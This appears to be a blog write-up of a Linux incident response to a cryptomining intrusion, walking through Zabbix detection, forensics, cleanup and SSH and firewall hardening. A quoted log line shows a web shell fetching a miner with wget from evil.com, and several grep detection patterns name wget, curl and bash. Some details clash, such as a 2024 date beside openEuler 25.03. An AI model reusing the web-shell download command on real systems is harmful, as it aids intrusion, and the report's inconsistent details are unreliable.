当前位置:首页>Linux>一次真实的 Linux 应急响应处置过程

一次真实的 Linux 应急响应处置过程

  • 2026-10-11 06:34:42
一次真实的 Linux 应急响应处置过程

📋 事件概述

事件时间:2024年3月15日 凌晨2:30发现方式:Zabbix监控告警,服务器CPU使用率突增至98%受影响系统:openEuler 25.03 生产服务器(192.168.1.100)事件类型:挖矿木马入侵处置时长:4小时  


🔍 第一阶段:事件确认(02:30-03:00)

1.1 监控告警

[Zabbix Alert]
时间:2024-03-15 02:30:15
主机:web-server-01 (192.168.1.100)
告警项:CPU usage > 95%
当前值:98.5%
持续时间:5分钟

1.2 初步登录检查

# 登录服务器,查看当前状态
ssh root@192.168.1.100

# 查看CPU使用情况
top -bn 1 | head -20

异常发现:

top - 02:35:12 up 45 days, 12:30,  1 user,  load average: 15.20, 14.80, 12.50
Tasks: 225 total,   3 running, 222 sleeping,   0 stopped,   0 zombie
%Cpu(s): 98.3 us,  1.2 sy,  0.0 ni,  0.0 id,  0.0 wa,  0.3 hi,  0.2 si
KiB Mem :  8012345 total,   234567 free,  4567890 used,  3209888 buff/cache

  PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
 2589 www-data  20   0  234567  12345   2345 R  98.7  0.2   1250:30 xmrig
 1234 root      20   0  567890  45678   5678 S   0.3  0.6   0:01.23 nginx

关键发现:xmrig 进程占用98.7% CPU,这是门罗币挖矿程序!


🛡️ 第二阶段:隔离与保护(03:00-03:30)

2.1 网络隔离

# 立即断开外网连接,防止进一步扩散
iptables -A OUTPUT -p tcp --dport3333-j DROP
iptables -A OUTPUT -p tcp --dport4444-j DROP
iptables -A OUTPUT -p tcp --dport5555-j DROP
iptables -A OUTPUT -p tcp --dport7777-j DROP

# 保存规则
service iptables save

# 查看当前连接
netstat -antp | grep ESTABLISHED

2.2 创建系统快照

# 创建内存镜像(用于后续分析)
mkdir /tmp/incident_response
cd /tmp/incident_response

# 保存进程信息
ps aux > process_list.txt
ps -ef > process_tree.txt
top -bn 1 > top_snapshot.txt

# 保存网络连接信息
netstat -antp > network_connections.txt
ss -tunap > socket_stats.txt
lsof -i > open_files_network.txt

# 保存系统信息
uname -a > system_info.txt
cat /proc/version >> system_info.txt
df -h > disk_usage.txt
free -h > memory_usage.txt

🔬 第三阶段:取证分析(03:30-04:30)

3.1 进程分析

# 查看可疑进程详细信息
cat /proc/2589/cmdline
# 输出:./xmrig -o pool.minexmr.com:4444 -u 44h7tS4PDgM3f7t8...

# 查看进程启动时间
ls -la /proc/2589/
# dr-xr-xr-x 9 www-data www-data 0 Mar 15 01:25 .

# 查看进程环境变量
cat /proc/2589/environ | tr '\0''\n'

# 查看进程打开的文件
lsof -p2589

3.2 文件系统检查

# 查找最近修改的文件
find / -mtime-1-type f 2>/dev/null | head -20

# 查找大文件(可能包含挖矿程序)
find / -size+10M -type f 2>/dev/null | xargs ls-lh

# 查找可疑脚本
find /tmp /var/tmp /dev/shm -type f 2>/dev/null | xargs file

# 检查定时任务
crontab -l
cat /etc/crontab
ls -la /etc/cron.d/
ls -la /etc/cron.daily/
ls -la /etc/cron.hourly/

# 检查启动项
ls -la /etc/rc.d/
chkconfig --list | grep3:on
systemctl list-unit-files --state=enabled

3.3 日志分析

# 查看SSH登录日志
grep "Accepted" /var/log/secure | tail -20
grep "Failed" /var/log/secure | tail -20

# 查看系统日志
journalctl --since "2024-03-14 00:00:00" --until "2024-03-15 03:00:00"

# 查看Web访问日志
tail -100 /var/log/nginx/access.log | grep -E "(wget|curl|bash|sh)"

# 查看历史命令
history
cat /home/*/.bash_history
cat /root/.bash_history

关键发现:

# SSH暴力破解痕迹
Mar 1423:45:12 web-server-01 sshd[2345]: Failed password for root from 185.220.101.45 port 54321 ssh2
Mar 1423:45:15 web-server-01 sshd[2345]: Failed password for root from 185.220.101.45 port 54321 ssh2
Mar 1423:45:18 web-server-01 sshd[2345]: Failed password for root from 185.220.101.45 port 54321 ssh2
Mar 1501:20:33 web-server-01 sshd[2456]: Accepted password for root from 185.220.101.45 port 56789 ssh2

# Web漏洞利用痕迹
192.168.1.100 -- [15/Mar/2024:01:25:10 +0800] "POST /api/upload HTTP/1.1"200123"-""python-requests/2.28.1"
192.168.1.100 -- [15/Mar/2024:01:25:15 +0800] "GET /shell.php?cmd=wget%20http://evil.com/xmrig HTTP/1.1"200456"-""Mozilla/5.0"

🧹 第四阶段:清除恶意程序(04:30-05:30)

4.1 终止恶意进程

# 终止挖矿进程
kill -9 2589

# 检查是否还有相关进程
ps aux | grep xmrig
ps aux | grep miner
ps aux | grep pool

# 查找并终止所有可疑进程
for pid in $(ps aux | grep -E "(xmrig|miner|pool)" | grep -v grep | awk '{print $2}'); do
kill -9 $pid
done

4.2 删除恶意文件

# 查找并删除挖矿程序
find / -name "*xmrig*" -type f 2>/dev/null
find / -name "*miner*" -type f 2>/dev/null

# 删除发现的恶意文件
rm -f /tmp/xmrig
rm -f /var/tmp/.hidden/xmrig
rm -f /dev/shm/miner.sh

# 清理Web shell
find /var/www/html -name "*.php" -newer /var/www/html/index.html -type f
rm -f /var/www/html/shell.php
rm -f /var/www/html/api/upload.php

4.3 清理后门和持久化

# 检查并清理定时任务
crontab -r# 清空当前用户crontab
rm -f /etc/cron.d/suspicious_job
rm -f /etc/cron.hourly/update.sh

# 检查系统服务
systemctl list-units --type=service--state=running | grep-i miner
systemctl stop suspicious-service 2>/dev/null
systemctl disable suspicious-service 2>/dev/null

# 检查启动项
rm -f /etc/rc.d/rc3.d/S99suspicious
rm -f /etc/init.d/suspicious-service

# 检查别名和后门
alias | grep -E "(wget|curl|ls|ps)"
cat /etc/profile.d/*.sh | grep-E"(wget|curl|bash)"

🔒 第五阶段:系统加固(05:30-06:00)

5.1 修改密码

# 修改所有用户密码
passwd root
passwd www-data
passwd mysql

# 强制所有用户下次登录修改密码
chage -d 0 root
chage -d 0 www-data

5.2 加固SSH

# 编辑SSH配置文件
vim /etc/ssh/sshd_config

# 修改以下配置
PermitRootLogin no
PasswordAuthentication no
PubkeyAuthentication yes
MaxAuthTries 3
ClientAliveInterval 300
ClientAliveCountMax 2
AllowUsers admin@192.168.1.*

# 重启SSH服务
systemctl restart sshd

5.3 配置防火墙

# 清除之前的临时规则
iptables -F

# 配置基础规则
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -P OUTPUT ACCEPT

# 允许本地回环
iptables -A INPUT -i lo -j ACCEPT

# 允许已建立的连接
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

# 允许SSH(仅允许特定IP)
iptables -A INPUT -p tcp -s192.168.1.0/24 --dport22-j ACCEPT

# 允许HTTP/HTTPS
iptables -A INPUT -p tcp --dport80-j ACCEPT
iptables -A INPUT -p tcp --dport443-j ACCEPT

# 保存规则
service iptables save

5.4 更新系统和软件

# 更新系统补丁
yum update -y

# 更新Web应用
cd /var/www/html
git pull origin main  # 如果有版本控制

# 重启相关服务
systemctl restart nginx
systemctl restart php-fpm
systemctl restart mysql

📊 第六阶段:恢复监控与验证(06:00-06:30)

6.1 验证清除效果

# 检查CPU使用率
top -bn 1 | grep "%Cpu"

# 检查网络连接
netstat -antp | grep ESTABLISHED

# 检查进程列表
ps aux | grep -E "(xmrig|miner|pool)" | grep-vgrep

# 检查定时任务
crontab -l

6.2 恢复监控

# 重启监控代理
systemctl restart zabbix-agent

# 检查监控状态
zabbix_get -s 192.168.1.100 -k system.cpu.util

# 配置告警规则
# 在Zabbix中添加CPU使用率告警

6.3 持续监控

# 设置日志监控
tail -f /var/log/secure | grep -E "(Failed|Accepted)"

# 监控网络流量
iftop -i eth0

# 监控进程变化
watch -n 5 'ps aux | grep -E "(xmrig|miner)" | grep -v grep'

📝 事件总结报告

攻击时间线

时间事件
23:45攻击者开始SSH暴力破解
01:20成功破解root密码,登录系统
01:25利用Web上传漏洞上传Web Shell
01:30下载并执行挖矿程序
02:30Zabbix监控告警,发现异常
03:00开始应急响应,隔离网络
04:30完成取证分析
05:30清除恶意程序
06:00完成系统加固

根因分析

  1. 弱密码:root密码为简单数字组合

  2. Web漏洞:文件上传功能未做类型限制

  3. 缺乏监控:没有实时安全监控和告警

  4. 防火墙缺失:未配置有效的访问控制

改进措施

  1. 密码策略:强制使用复杂密码,定期更换

  2. 漏洞修复:修复Web上传漏洞,增加文件类型验证

  3. 安全监控:部署WAF和入侵检测系统

  4. 网络隔离:实施微隔离,限制横向移动


⚠️ 安全提醒

🚨 法律声明:本文仅供学习Linux应急响应技术,所有操作应在授权环境下进行。未经授权访问他人系统属于违法行为。


最新文章

随机文章